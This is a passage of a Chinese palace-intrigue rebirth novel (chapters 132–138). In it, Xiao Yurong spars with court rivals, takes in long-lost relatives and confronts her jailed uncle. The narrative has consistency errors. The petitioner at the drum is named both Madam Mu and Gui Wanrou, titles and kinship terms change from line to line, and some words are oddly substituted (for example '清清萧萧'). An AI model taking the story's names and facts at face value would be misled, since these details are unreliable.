“那夜光杯像琉璃一样剔透,盛上红酒更是好看。”说话的是路家表妹,她看见岑燕燕身边的大珍,又瞥见已经挂上售罄牌的葡萄酒区,立刻拍出一张银票,“这酒我要了。” “你瞎了不成?这是我的!”岑燕燕怒气冲冲地掏出银子,眼中闪着怒火。 “郡主,这银子是我先交的。”路家表妹一脸得意,扬着下巴。 岑燕燕气得要动手,却被萧语柔及时拦住。 萧语柔看了眼一旁冷着脸的谷霜,微笑道:“纵然我等早已到此,但可以匀些给你们。”语气温和,却带着不容置疑的意味。 “谁要你匀......”路家表妹话未说完,就被打断。 “是吗?”萧语柔看向柜台小厮,眼神示意。 小厮立即会意,恭敬道:“小店规矩,先来后到,不能插队。贵人们若是想要,明日新酒到了,小的免费送一瓶去府上。” 谷霜抿着唇,眼中闪过一丝不悦,轻声说了句“不用”,径直去了楼上。她的背影有些僵硬,显然心情不佳。 赵明远的目光在岑燕燕身上停留片刻,却见她抱着酒瓶,开开心心地拉着萧语柔去挑杯子,再没有往日那般含情脉脉地望着他。 他有些不习惯这样安静的岑燕燕。记忆中的她总是笑靥如花,眼中盛满星光。 但也仅仅是不习惯罢了。这种感觉很快就被他抛之脑后。 赵明远随谷霜上楼去了,脚步声渐渐远去。 路家表妹还想说什么,大珍忽然展翅扑来,黑豆眼里满是得意。它扑棱着翅膀,发出威胁的声响。 她往后退了一步,面色难看,灰溜溜地跟着上楼。裙摆扫过地面,带起一阵细微的声响。 “这只杯子当真精致。”萧语柔假装没看见岑燕燕发红的眼圈,轻声转移话题。 “哼,”岑燕燕破涕为笑,擦了擦眼角,“你别笑话我,改日我也要看你的笑话。” 萧语柔随意往窗外一瞥,正好看见岑涛和韩秉容骑马入城。街道上行人纷纷避让,尘土飞扬中,两人的身影渐渐清晰。 岑涛俊朗的面容多了几分坚毅,衣衫有些凌乱,显然是快马加鞭赶路所致。户部侍郎韩秉容更是憔悴,眼窝深陷,下巴布满胡茬,哪还有往日朝堂上的风采。 他们不是去江南赈灾了吗?咋这么快就折返了? 对了,还有太医穆秋煜。这个名字在萧语柔心中激起一阵涟漪。 岑涛身后跟着一辆马车,车帘被风掀起,萧语柔猝不及防对上里面那道目光。时间仿佛在这一刻静止。 穆秋煜显然也没想到会在这里看见她,先是一愣,随即露出苍白的笑容,眼中是深不见底的阴鸷。那眼神让萧语柔心底发寒。 果然重生了。 上辈子的穆秋煜绝不会有这样疯狂的眼神。他变了,变得让人心惊。 “语柔,你在看什么?”岑燕燕凑过来,只看见岑涛的背影,“是二皇兄!他怎么这般快就现身了?”声音里带着惊讶。 “是啊......”萧语柔回想起方才那一瞥,穆秋煜胸前缠着厚厚的纱布,已经被鲜血浸透。那抹刺目的红色在她眼前挥之不去。 她们依旧在此,谷霜忽然从楼上快步走下,步伐急促,面色不善。 萧语柔正要上楼,手腕被谷霜抓住。那力道不小,让她微微蹙眉。 “县主莫要太过执着,”谷霜抿着唇,眼中带着警告,“啥都想占为己有。” 萧语柔瞬间明白她是看见自己在窗边看岑涛一行,随即冷笑道:“凌姑娘莫不是觉得,三皇子是我抢来的吧?” 谷霜沉默。显然默认了这个说法。她的手指微微发抖,却倔强地不肯松开。 萧语柔冷淡地甩开她的手:“不是我抢的,是你暗中作梗。凌小姐,你的物件我看不上,可你不能又想着得到,又想要熊掌。你既已决定舍弃,已被舍弃的东西,便与你毫无瓜葛。希望你自重。” 说完,她径直上了楼,留下谷霜一人站在原地,脸色苍白。 第一百三十三章 金銮殿 萧语柔的身影消失在转角处,谷霜依旧站在原地,目光呆滞。 赵明远站在她身侧,看着这个从小在他心中如皎月般纯净的女子此刻显得如此脆弱。他的心揪得发疼,手指不自觉地蜷缩又松开。 “霜儿...”他轻声唤道,声音里带着难以掩饰的心疼,“无论发生什么,我定会一直守护着你。” 谷霜缓缓转过头,眼神空洞地看了他一眼,嘴角扯出一抹勉强的笑意:“多谢,眼下我得赶去拜见二殿下。” “我陪你去。”赵明远强忍着心中的酸涩,目光始终追随着她的背影。 待他们的脚步声渐渐远去,岑燕燕这才从廊柱后探出头来,撇了撇嘴道:“没想到旁人竟是这般看待,我就是这副傻样。整天围着男人转,还自以为是个清高的大家闺秀。” 她转头兴奋的看向萧语柔:“语柔,你刚才说得太解气了!那谷霜以为自己是谁啊,把所有好男人都当成自己的裙下之臣,真是可笑。” 萧语柔淡淡道:“以后尽量少和他们接触吧。”她太了解谷霜这种人了,表面清高,实则暗地里纵容追随者为她四处树敌。就像前世,就是因为这些人的明争暗斗,最终酿成大祸。 岑燕燕不情不愿地应了声,还想说什么,却见萧语柔已经转身离开。 后院的偏僻角落里,郗澜早已等候多时。看到萧语柔走近,他立刻躬身行礼:“主子。” “说吧,查到什么了?”萧语柔靠在石桌旁,随手摘下一片桂子把玩。 郗澜左右看了看,压低声音道:“是关于穆家的穆玉荷。这几个月来,她和不下十个男人有过...那种关系。” 萧语柔手中的桂子顿住了:“你是说,她去了青楼?” “不,是穆秋煜亲自安排的。”郗澜道,“从四品大员到普通马夫都有,年纪从六旬到弱冠不等。最近还有人看见她深夜出入城南的一处宅院。” 萧语柔眉头紧蹙。前世穆秋煜对这个妹妹宠爱有加,为何重生后反而如此对待她? “穆夫人的情况如何?” “和穆玉荷一样。”郗澜尴尬地咳了一声,“龙都中那些...特殊癖好的人都知道这事。据说穆夫人经常出现在一些达官贵人的私宴上。” 萧语柔陷入沉思。若是为了拉拢权贵,穆秋煜大可以找其他女子,何苦连累自己的亲娘和妹子?这其中必有隐情。 “继续盯着,有任何异常立刻告诉我。” “是。”郗澜应声退下。 萧语柔独自在园中踱步,脑中思绪翻涌。前世她只顾着和谷霜争风吃醋,对很多事都视而不见。现在想来,穆家的变化或许就是一切悲剧的开端。 正想着,一阵急促的脚步声传来。 “县主!”丫鬟小梅气喘吁吁地跑来,“夫人让您快去前厅,定王殿下来了!” 萧语柔微微一怔,随即跟着小梅往前院走去。 此时金銮殿内,气氛异常凝重。 皇帝坐在龙椅上,脸色阴沉如铁:“南方水患迫在眉睫,岑涛一行却在半路遭遇刺杀,不得不折返。这群贪官污吏,只知道要钱要粮,半点不顾百姓死活!” 岑涛跪在殿下,衣衫还带着风尘仆仆的痕迹:“父皇息怒。沿途已有瘟疫蔓延,若不尽快处理,恐伤及根本。儿臣此番回京,是想请几位能人相助。” “说。” “户部员外郎桂远墨,以及澜宁郡主萧语柔。” 皇帝眉头一皱:“桂远墨治理清河有功,可这澜宁郡主...” “父皇有所不知。”岑涛解释道,“澜宁郡主医术高超,更得西陲神医真传,便是焦御医也自叹不如。前些日子赵家大公子垂危之际,全赖她出手相救。” 穆秋煜虚弱地附和:“微臣曾与县主探讨医术,她不但精通医理,针灸之术更是出神入化。” 皇帝挥退众人,单独留下岑涛。 “皇儿,你为何执意要带澜宁去?”皇帝意味深长地看着他,“她可是你三弟的未婚妻。” 岑涛跪地:“儿臣虽仰慕县主才学,但也知她是三皇弟未婚妻。儿臣只是念及江南百姓...” “够了。”皇帝打断他,“桂远墨可去,至于澜宁,朕会派御医院院正随行。” 岑涛无奈,只得应下。 离开皇宫后,他直奔侯府,借着拜访桂远墨的名义想见萧语柔一面。 不料刚到府门,就听下人说定王岑陌已经到了。 “定王带来了上好的鱼虾,正要给语柔做鱼虾煲呢。”慕氏笑着迎出来,“贤王殿下也来了,不如一起用膳?” 珍珍听说岑陌来了,开心地跑出去迎接:“嘻嘻!定王哥哥一定给我带了花糕!” 岑涛看着小家伙蹦蹦跳跳的背影,淡淡一笑:“看来三皇弟很受欢迎。” “是小儿贪嘴,叫王爷见笑了。”桂远墨道。 “无妨,活泼聪慧,可爱机敏,本王同样心生欢喜。”岑涛说完便告辞了。 目送他离开,慕氏若有所思:“这话听着,像是在说语柔呢。” 桂远墨心中一沉,看来这位贤王对语柔也动了心思。他想起早上萧语柔和谷霜的争执,不禁担心起来。 厨房里,岑陌正亲自下厨,灶台上热气腾腾。萧语柔站在一旁看着,不时递个调味料。 “三皇子的手艺越发精进了。”她由衷赞叹道。 岑陌专注地调着火候:“你喜欢就好。对了,我听说你今天和谷霜...” “没什么。”萧语柔打断他,“都是些小事。” 岑陌欲言又止,最终只是叹了口气:“语柔,我知道你心里有事,但有些事不必太过计较。” 萧语柔看着他认真做菜的侧脸,心中五味杂陈。前世的岑陌也是这样,永远包容她的任性,纵容她的骄纵。可最后,她还是辜负了他。 “殿下...”她刚要开口,外面突然传来一阵喧哗。 “不好了!穆家小姐在街上晕倒了!” 岑陌和萧语柔对视一眼,都从对方眼中看到了震惊。 第一百三十四章 咽不下这口气 桂成林匆匆离去的背影消失在回廊尽头。他脚步虚浮踉踉跄跄,与往日雷厉风行的模样判若两人。 “他这是怎么了?最近总是这样,连饭都吃不下几口。”桂远墨的妻子蹙眉望着兄长远去的方向,声音里带着几分担忧。 “不知道。”桂远墨摇摇头,与妻子对视一眼。两人心照不宣地没再多言,转身往福寿堂去了。夜风拂过,带来阵阵花香,却驱散不了笼罩在心头的阴霾。 今日的福寿堂格外热闹,灯火通明,处处张灯结彩。 岑陌一身玉色长袍,玉冠束发,举手投足间尽显贵气。他面带温和笑意,与众人谈笑风生,时不时还能说出几句风趣话语,惹得满座宾客开怀大笑。就连年幼的珍珍都被他哄得开心,小姑娘眼睛亮晶晶的,一口一个“定王哥哥”叫个不停。 这场晚宴,是岑陌特意准备的。除了已经睡下的岑燕燕,在座的都是桂府最亲近的人。觥筹交错间,气氛愈发热络。 听竹轩中。 桂琳刚要出门散步,就听见隔壁桂玥房间传来“哐当”一声巨响,紧接着是瓷器碎裂的声音。她停下脚步,眉头微皱。 “侯爷面前装得乖巧,背地里却是这副模样。”丫环小声嘀咕,语气里带着几分不屑。 桂琳冷淡地瞥了一眼:“贪得无厌之人,与我们无关。” 窗内的桂玥听到这话,恨恨地剜了桂琳一眼。她转向春姨娘,眼泪瞬间涌了出来:“五妹妹竟这般防着我,竟然不让本小姐靠近王爷半步,枉我一直把她当亲姐妹。” “孩子还小,不懂事,别着急。”春姨娘轻声安慰道。 “娘,父亲那边......”桂玥欲言又止,眼中闪过一丝焦急。 春姨娘想起最近总是心不在焉的桂成林,轻叹一声。她抬手揉了揉太阳穴:“娘再去说说。” “您快些吧。”桂玥撒娇似的拉着母亲的手,随后又忿忿不平,“都怪桂婉柔,坏了我们府上女眷的名声,王爷该不会因此嫌弃我吧?” 恰巧路过的桂婉柔听到这番话,攥紧的拳头微微发抖。指甲深深陷入掌心,却感觉不到疼痛。 “小姐......”丫环担忧地看着她,欲言又止。 “无妨,进去吧。”桂婉柔强压下心中怒火。她推开房门,屋内檀香袅袅,却驱散不了心头的郁结。 她需要一个帮手。这个念头在心底扎根发芽,如同野草般疯长。 凭什么她从高高在上的嫡女沦落至此,而萧语柔却能飞上枝头?那个不知从哪里冒出来的野丫头,凭什么能得到岑陌的宠爱? 这口气,她咽不下! 晚宴过后,月色正好。珍珍蹦蹦跳跳地牵着萧语柔和岑陌的手:“定王哥哥,语柔姐姐,你们什么时候成亲呀?” “你倒比我们还急。”萧语柔笑着点她额头,眼中满是宠溺。 珍珍皱着小脸,一本正经道:“爹娘说了,不成亲就不能睡一起,不能生小宝宝。” 萧语柔脸色一僵,余光瞥见岑陌唇角微扬,不由得红了脸。岑陌适时开口:“珍珍想要弟弟还是妹妹?” “都想要!要像语柔姐姐这么漂亮的妹妹,也要像定王哥哥这么厉害的弟弟!” “天色不早了,该回去睡觉了。”萧语柔连忙叫人送珍珍回去,生怕小丫头再说出什么让人难堪的话。 小姑娘临走前还不忘朝岑陌挥手:“定王哥哥加油!” 岑陌笑着应了,还赏了下人们银钱。众人散去后,庭院重归寂静。 萧语柔的手突然被一只温暖的大手握住,她心跳漏了一拍。 “阿柔,你想要女儿还是儿子?”岑陌的声音低沉悦耳,带着几分蛊惑。 萧语柔红着脸把人推了出去,慌乱中差点被台阶绊倒。岑陌眼疾手快地扶住她,两人四目相对,空气仿佛凝固了。 与此同时,谷霜在贤王府等到天黑,终于等到岑涛回来。她站在廊下,月光为她清丽的容颜镀上一层银辉。 “霜儿还没回去?用过晚膳了吗?”岑涛一边往里走一边问,语气温和。 “一个女子,当真值得两位王爷如此?”谷霜忍不住道,声音里带着几分哽咽,“她用什么魔法迷住了你们,让你们兄弟相争至此......” “你在说什么?”岑涛声音陡然冷了下来,眼中闪过一丝不悦。 谷霜猛然惊醒,意识到自己失言:“是我糊涂了,请王爷责罚。”她低下头,不敢直视岑涛的眼睛。 “天色已晚,安排护卫护送你离开。”岑涛转身离去,背影冷峻。 谷霜咬着唇快步离去,不让眼泪落下。月光下,她的身影显得格外孤单。 桂婉柔从听竹轩出来,看到这一幕,不禁冷笑一声:“也不看看自己是什么东西,也敢肖想王爷。” 刚回到长春院,就看见萧语柔坐在厅内,手中把玩着一颗玉珠。烛光映照下,那张令人嫉妒的脸庞愈发明艳动人。 “你来做什么?滚出去!”桂婉柔怒道。 萧语柔示意丫环退下,目光平静地看着桂婉柔:“容我问你几个问题。” “萧语柔,你想做什么?要杀要剐随你便,大不了我们同归于尽!”桂婉柔声音尖利,眼中满是疯狂。 “何必呢?”萧语柔轻笑,“比起做个见不得光的姨娘,在远离龙都的地方买座宅院,找个如意郎君,不是更好?” “我宁愿死!”桂婉柔咬牙切齿。 “看来时机未到。”萧语柔起身,裙摆在烛光下投下摇曳的影子,“等你想通了,随时可以来找我。” “你到底想问什么?”桂婉柔死死盯着她。 “现在问你也不会说实话。”萧语柔转身离去,脚步从容。 “为什么不问?”萧瑾站在院外,不解地看着姐姐。 “她现在恨我入骨,不会说实话的。”萧语柔眼中闪过一丝寒意,“要等她主动求我,才会告诉我想知道的事。” “她有什么值得你这样费心?”萧瑾皱眉。 萧语柔看了眼这个便宜弟弟,轻笑道:“等墨王入京,你就知道了。”她想起当初墨王入京的消息传来时,桂婉柔看萧瑾的眼神,那种复杂的情绪,她可记得清清萧萧。 夜色渐深,月亮躲进云层。各院的灯火一盏盏熄灭,唯有长春院的烛光还在跳动,照亮了桂婉柔阴晴不定的脸。 第一百三十五章 登闻鼓 登闻鼓声响彻皇城,震得人心惶惶。 这口鼓是天子为全天下冤民所设,但凡有天大冤屈者,皆可击鼓申冤。只是这条路,并非寻常人能走得的。敲登闻鼓告状是要先要过滚钉板,男子还要再受十鞭,才好讲述事情的原委。 宫门外的人群渐渐聚集,待看清滚过钉板的人时,不少人倒吸一口凉气。那女子浑身是血,衣裙破碎,却仍强撑着跪在地上。 “这不是那穆夫人吗?” “就是前些日子在宁远伯府闹事的那位?” “听说她是被休弃的原配夫人......” 众人窃窃私语,目光落在那浑身是血的女子身上。或同情,或嘲讽,或是看热闹。 谁曾想到那位曾经高高在上的第一才女桂婉柔,如今沦落至此?当年她与宁远侯成婚时,多少人羡慕她的好姻缘。可如今,她却要在这宫门外,以这般凄惨的模样求告登闻鼓。 “皇上!”穆氏声嘶力竭地喊道,“臣妇要举报宁远侯桂成林,抛弃糟糠之妻,弃子不顾,更是为了爱慕长公主,害死了亲生兄长!” 此言一出,满场皆惊。周围的议论声戛然而止。 长公主的轿辇恰在此时到来,她掀开轿帘,眸光冷冽:“休要信口雌黄些?” 穆氏抬头,目光死死的盯着长公主,眼中尽是怒火:“我有证据。当年桂成林为了讨好长公主,不惜设计害死自己的兄长。那些年他在外头养着真正的原配晏氏母子,却让我顶着原配的名分。如今他要休我,不过是想把晏氏母子接回府中罢了!” 长公主面色微变,随即冷笑:“简直是胡言乱语。来人,将她拿下!” “且慢。”一道威严的声音响起,太子从远处走来,“既然穆氏说有证据,不妨让她说完。” 穆氏跪着向前爬了几步:“殿下明鉴!臣妇手中有当年桂成林写给晏氏的书信,还有他设计害死桂大公子的证据......” 消息传到宁远伯府时,桂成林立刻跪在老夫人面前:“母亲,都是那贱妇污蔑!我家崽绝对没干过这种事情!” 屏风后的萧语柔冷眼旁观,心中不屑。这位高高在上的宁远侯,此刻竟如此怯懦。她想起方才听到的消息,穆氏不仅击登闻鼓,还将当年的秘密全都抖了出来。 “她说的全是在卖惨编故事?”老夫人声音沉沉,手中的拐杖重重敲在地上,“当年你兄长的死,真与你无关?” “假的,都是假的。”桂成林额头抵在地上,“儿子虽有不是,但绝不会害死自己的亲兄长。” 话音未落,外头小厮慌慌张张跑来:“老夫人,侯爷,官府的人到了!” 桂成林面色一变,随即又恢复如常:“母亲,儿子虽当年对不住真娘母子,但已将他们接回龙都,就在别院安置。若儿子有什么不测,还请母亲将他们接回府中。” 萧语柔听在耳中,只觉可笑。都到这时候了,这桂成林还在打这如意算盘。她砖头看向面色铁青的老夫人,显然老夫人也听出了桂成林话中的意思。 待桂成林被带走,萧语柔忙上前安抚:“姑母莫要太过忧心,待大理寺查明真相,一切自会水落石出。” “柔儿,你去别院看看那对母子。若真如成瀚所说,他们是真正的原配......” 萧语柔点头应下,随后便往晏清娘母子所在的别院去。 夏日的阳光毒辣,晒得人睁不开眼。可萧语柔却纹丝不动地在别院门前等候着,仿佛感受不到炎热似的。 里头的小厮只探出头来说了句“我去问问”,便将门重重关上。 “表小姐,要不要我把人抓出来?”萧瑾气愤道,“这些人太不像话了,让您在这烈日下等着!” “不可。”萧语柔摇头,继续等待。她知道,里头那位少年,必定是在试探她的诚意。 别院内,晏澜正在煎药。药罐里的汤药咕嘟咕嘟冒着泡,散发出苦涩的味道。他专注地看着火候,仿佛外头的事与他无关。 小厮在一旁絮絮叨叨:“公子,那可是表小姐啊!您年少时遇见的,那会儿她还把点心往您怀里塞呢!” “闭嘴。”晏澜冷声打断,眼中闪过一丝不耐。 “可您不是想见定王吗?表小姐或许能帮忙......” 晏澜冷冷扫了他一眼,小厮终于噤声。 “公子,这么热的天,表小姐娇生惯养,怎么受得了?” 晏澜抿着唇,将煎好的药端给母亲。晏清娘躺在床上,面色苍白,显然病得不轻。 “都这么久了,那群人已经离开很久了。”他淡淡道。 小厮看了看窗外,发现萧语柔依旧站在那里,一动不动。他一咬牙,朝大门跑去。 “公子!表小姐还在外头等着呢!” 晏澜的手顿了顿,随即看向床上的母亲。这些年,他们母子在外颠沛流离,如今好不容易回到龙都,却又遇上这样的事。 第一百三十六章 一家人 晏澜将药罐子狠狠摔进水里,溅起的水花打湿了他的衣袖。 “少爷,表小姐在门外等着呢。”小厮搓着手,小心翼翼地说,“要不要请她进来?” 晏澜抬手揉了揉太阳穴,眼底闪过一丝烦躁。这些年来晏家人对他和母亲从未有过半分善意,如今突然派人来接,能有什么好事。 “这妹子就傻乎乎地在马车旁边杵着?还是觉得站在我家门口,能显得她的诚意来吗?””他不耐烦道。 小厮缩了缩脖子:“这个...小的也不太清萧。” 屋内一时陷入沉默。晏澜站在原地,目光落在床榻上昏睡的母亲身上。母亲的脸色苍白如纸,呼吸微弱,这样的情形已经持续多日。 最终他还是迈步朝正门走去。拉开门的一瞬间,他愣住了。 萧语柔站在门口,浅浅的笑道:“表哥安好!还以为表哥真的要让我在这儿等上一整天呢。” 他习惯了主子们的冷眼和下人们的白眼,可面对这样温和的态度却不知该如何是好了。 “想都别想让我跟你回那个地方。”晏澜语气生硬道。 萧语柔并未恼,反而关心道:“咦?表哥身上有好重的药味儿,莫补是舅母病了吗?这鬼天气反复横跳不定,很容易染上风寒。” 晏澜惊讶地看着她:“你怎么知道,莫非你会医术?” “是啊。”萧语柔笑得更灿烂了,眼角弯起好看的弧度。 身后的紫萱连忙说道:“我家小姐可是得了神医传承,医术很棒的。大公子就别跟我们置气了,要紧的是夫人的病情。” 不等晏澜反应,萧语柔已经从他身边溜了进去。晏澜想拦,可又不好对一个姑娘动手,只能跟着走了进去。 萧语柔坐在床边给母亲把脉,她的眉头渐渐皱起:“姨母大人这病已经缠身多年,现在又染了风寒。你们煎的这些药,效果很难好转。” 晏澜心里一紧,不自觉地握紧了拳头:“你能治好吗?” “当然可以。”萧语柔认真地点点头,“不过我是未出阁的姑娘,不便经常来回。如果你们愿意去侯府,我就能随时照料,而且侯府的药材也比外面的好。” 晏澜几乎是想都没想就答应了:“我跟你回去。”话一出口,他就后悔了,可看着母亲苍白的脸色,他又说不出拒绝的话。 站在后面的萧瑾抱着剑,看着这一幕,心里暗自摇头。这位表少爷,怕是还不知道自己已经落入了什么样的局。 进了宁远伯府,晏澜才后知后觉地懊恼起来。 “难道我被这女人给耍了?”他低声问躺在软榻上的母亲。 昏昏沉沉的晏夫人看着儿子这副模样,虚弱地说道:“老夫人派来的人,想必不会坏到哪里去。况且...这里总比我们那个破屋子强。” 让晏澜意外的是,进府后并没有繁琐的拜见礼节,而是直接被安排了住处。萧语柔亲自带着他们参观:“大表哥住前院,姨母大人暂且安置在老夫人的福寿堂休养,这样照料起来方便些。” 晏澜抿着嘴,一副再也不信她的样子。这种突如其来的善意,反而让他更加警惕。 萧语柔看着他这副模样,转头问紫萱:“我哪里做错了吗?” “小姐做得很好,只是大公子性子别扭。”紫萱笑着说,“您看他那样子,活像只被雨淋湿的小野猫。” 萧语柔也笑了,随即开始安排晏夫人的用药和饮食。她写了几张方子,又仔细交代了服用时间和注意事项。 老夫人在里间看着母子俩,眼泪止不住地往下掉:“是我无用,让你们受了这么多年的苦。若是当年我能再强硬些...” “不怨老夫人。”晏夫人含泪道,“这些年若不是您暗中相助,我儿怕是都活不到今日。那些银子,那些药材,我都记着呢。” 临走时,晏澜忽然开口:“祖母,您不必自责。”这一声“祖母”,让老夫人泪如雨下。 等人都走后,晏澜问留下的丫环:“她对谁都这样吗?” “五小姐刚来时可不是这样。”宽脸丫环一边收拾茶具一边说,“那时她刚经历双亲天人永隔,人都瘦得不成样子了。整日把自己关在房里,谁劝都不听。” 晏澜一怔:“失去父母?” “是啊,说来五小姐就是老夫人的贵人啊,要不是她,老夫人的病怕是...”丫环说到一半,急忙住了口,“奴婢多嘴了。” 萧语柔刚走出福寿堂,就遇到了蹦蹦跳跳的岑燕燕。小郡主今日穿了一身鹅黄色的裙装,头上戴着镶嵌着珍珠的抹额,活泼可爱。 “你去哪儿了?害我好无聊。”岑燕燕拉着她的手撒娇。 “去接我家哥哥了。”萧语柔简单说了晏澜的事。 岑燕燕听完,气得直跺脚:“桂成林这个伪君子!亏他还装得一副正人君子的样子,背地里却做这种事!” “郡主啊,以后看人可不能只看表面。”萧语柔说着,开始安排晏澜母子的其他事宜。她让人准备了新的衣物,又吩咐厨房准备些清淡的饭菜。 岑燕燕跟在她身后,看着她忙前忙后,眼里满是新奇:“你变了好多。” “是吗?”萧语柔停下脚步,“可能是因为,终于找到了想要守护的东西吧。” 夜幕降临,晏澜站在院子里,看着天上的月亮。府里处处透着富贵,连月色都比从前亮堂几分。他想起萧语柔那张带笑的脸,心里五味杂陈。 “少爷,该歇息了。”小厮轻声提醒。 晏澜点点头,转身走进屋里。床榻柔软,被褥清香,可他却怎么也睡不着。这样的日子,对他来说太过奢华。 他起身走到窗前,看着远处福寿堂的灯火。那里有他的母亲,有他的祖母,还有那个笑起来温柔似水的表妹。 第二天一早,萧语柔就来看望晏夫人。她仔细检查了脉象,又询问了服药后的反应。 “舅母的病情已经有所好转了。”她笑着说,“再过几日,应该就能下床走动了。” 晏澜站在一旁,看着母亲脸上终于有了些血色,心里的戒备不自觉地放松了几分。 “表哥。”萧语柔忽然叫他,“待会儿我要去抓药,你要不要一起?” 晏澜犹豫了一下,还是点了点头。 两人走在府中的小径上,萧语柔一边走一边介绍:“这边是药房,那边是花园,再往前是练武场。表哥要是闲着无聊,可以去看看。” “为什么对我们这么好?”晏澜终于忍不住问出了心中的疑惑。 萧语柔停下脚步,认真地看着他:“因为我们是一家人啊。” 而这句话,就像一颗石子投入了平静的湖面,激起层层涟漪。晏澜愣在原地,久久说不出话来。 第一百三十七章 诬蔑 桂婉柔得知消息的那一刻,整个人如同被雷击中般僵在原地。 “贱人,你竟敢把野种带进侯府!”她疾步冲进慕氏的院子,一把推开房门,面目狰狞。 屋内,慕氏正坐在软榻上逗弄着珍珍。听到这突如其来的怒喝声,她下意识将孩子护在怀中,脸色瞬间煞白。 “你这个不要脸的东西,也配让野种上族谱?” 珍珍被这阵仗吓得大哭起来,慕氏却只是紧紧抱着孩子,任由桂婉柔在她脸上留下三道血痕。 “来人啊!”桂婉柔扯着嗓子喊道,“把这对贱人母子给我轰出去!” 院子里的下人们面面相觑,却没人敢上前阻拦这位曾经的大小姐。 就在这时,一阵急促的脚步声由远及近。 萧语柔赶到时,看到的就是这样一幕混乱。慕氏抱着孩子蜷缩在软榻上,桂婉柔正揪着她的衣领要动手。 她眸光一冷,快步走进院子:“桂姨娘这是要在侯府闹事?” 桂婉柔闻声转头,看清来人后更是怒不可遏:“你算什么东西!也敢管我侯府的事?” “外人?我是澜宁郡主,奉外祖母之命办事。倒是桂姨娘,早已嫁出侯府,何来资格在此撒野?” 这话如同一记耳光抽在桂婉柔脸上。她气得浑身发抖,指着萧语柔的鼻子骂道:“外来的闲杂人等,就是想霸占侯府的家产!当初要不是你娘......” “住口!桂姨娘若是再敢污蔑亡者,别怪我不客气。”萧语柔厉声打断她,眼中寒光乍现。 “紫萱。”她冷声唤道。 “在。” “去把这些看热闹的下人卖身契都拿来,今日一并发卖了。” 院中众人闻言,纷纷跪地求饶。 萧语柔扫过众人:“主子受辱,你们却躲得远远的,这样的下人,侯府留不得。” 就在这时,桂辰带着满身酒气赶来了。他踉跄着走进院子,拉住还要闹的妹妹。 “婉柔,别闹了。”他低声道,“这是舅舅的决定。” “哥!”桂婉柔泪如雨下,“你怎么也帮着外人说话!都是她害的,害死了爹娘,也害了我们......” 萧语柔看着这对兄妹,心中五味杂陈。记忆中的桂辰曾是个意气风发的少年,如今却沉溺酒色,形容枯槁。 她对桂辰道:“二哥还是专心准备明年春闱吧。过去的事,就让它过去。” 桂辰感激地看了她一眼,拉着还在挣扎的桂婉柔离开了。 等人都散去,萧语柔走到慕氏身边:“大嫂没事吧?” 慕氏摇摇头,轻声道:“多亏你来得及时。”她低头看着已经睡着的珍珍,眼中满是温柔,“这孩子,终究是无辜的。” 萧语柔帮她擦去脸上的血迹:“大嫂放心,有我在,没人能伤害你们母子。” 傍晚时分,桂远墨风尘仆仆地赶回来,告诉萧语柔一个消息:皇上让定王随军秋巡。 贤王被派去江南,定王随军,都城里就留着个平平无奇的安王和只知附庸风雅的礼王......这局棋,究竟是要钓谁上钩? 第二日一早,柳华要启程回江南。 萧语柔戴着面具去见他最后一面。她替他清除了体内蝮虺,看着他比初见时更加清瘦的面容,心中不免有些感慨。 柳华什么也没说,只是深深一揖,便随族中长辈离京了。 送他出城时,岑陌在马车里问萧语柔:“不问问那些事的真相?” 萧语柔望着远处的车队,微微一笑:“殿下既然插手,想必自有安排。说到柳驸马是怎么混进后宫的,如何被皇后拿捏,这些事就不必细究了。” “你总是这样。”他轻声说,“把所有苦都往自己肚子里咽。” 萧语柔转头看他:“殿下这是在关心我?” 岑陌收回手,别过脸去:“本王只是觉得你太过逞强。” 很快,大理寺传来消息,说桂成林要见萧语柔和晏澜。 萧语柔特意换上了一袭胭脂红裙装,那是她娘亲最爱的颜色。她站在铜镜前,看着镜中的自己,恍惚间仿佛看到了母亲的影子。 一路上,晏澜都紧紧跟在萧语柔身边,生怕她受到伤害。 牢房里,桂成林看到一袭红衣的萧语柔,竟恍惚喊出:“梦儿......” “舅舅找我来,是想让我救你吧?”萧语柔冷冷道。 桂成林一惊,脸上的表情瞬间凝固。 “你是想让我去求定王殿下,让他用与长公主的情分救你。可是舅舅,你凭什么觉得,我会帮你?” 桂成林脸色变了又变,最终苦笑道:“是啊,我有什么资格让你帮我?当年你母亲......” “不必提那些往事。”萧语柔打断他,“我今日来,只是想亲眼看看,当年那个意气风发的桂大人,如今是什么模样。” 她起身,居高临下地看着这个曾经不可一世的舅舅:“你可知道,我娘临终前说了什么?她说,她不怪任何人,只怪自己太过天真。” 桂成林猛地抬头,眼中闪过一丝痛苦。 萧语柔转身离开,只留下一句话:“舅舅好自为之。” 走出大理寺,晏澜终于忍不住问:“你真的不管他?” 萧语柔停下脚步,看着天边的落日:“有些人,不值得原谅。” 回府的路上,她想起母亲生前的点点滴滴。那个温柔善良的女子,最终却落得那样的下场。 第一百三十八章 探监 “你手里还有什么料?”桂成林的声音在阴暗潮湿的牢房里回荡。 萧语柔站在牢房外,冷冷地打量着这位也曾风光无限的舅舅。昔日的锦衣华服已经换成了粗布囚衣,可那股子傲慢劲儿倒是一点没减。她不禁冷笑,这样的人,即便身陷囹圄也不知悔改。 “舅舅想知道我知道什么?比如说,你和穆氏合谋害死我父母的事?”她缓步向前。 此话一出犹如一记重锤落下。他踉跄着后退了两步! “呵呵,”桂成林擦了擦额头的冷汗,强作镇定道,“看来岑陌已经都告诉你了。想必驸马之死的罪名,也是你们栽赃给我的吧?” 萧语柔不语,心中却在盘算。这位舅舅向来谨慎,今日突然召她前来,绝非只为求救这般简单。 “明泽公主的死,这事儿跟你们也脱不了干系吧?”桂成林忽然话锋一转,“既然查到这里,想必背后的人...” “背后?难道还有什么隐情不成?”萧语柔故作惊讶。 她心里清楚这后边藏着别的人,但此刻装糊涂才是明智之举。暗处的眼线还在盯着,一步都不能走错。 语柔,我们到底是一家人。你到帝都这一载,我处处照拂于你,你不该如此绝情。只要你肯救我,我就告诉你穆氏为何要害你父母。” “不必了。”萧语柔冷笑,声音里带着几分讥讽,“为了我娘的嫁妆,为了填补侯府的亏空,再加上穆氏那些放印子钱的勾当,这些还不够明显吗?” 桂成林暗骂一声,这丫头是铁了心要装傻充愣到底了。 “你外祖母身边那些不怀好意的人,”桂成林压低声音,“你应该也察觉到了吧?小欢的死,你真的一点都不好奇?” 萧语柔心头猛地一紧。小欢是她的贴身丫鬟,前些日子莫名暴毙,当时查不出任何线索。:“看来舅舅知道些内情?” “你若不救我,终有后悔的一天!” 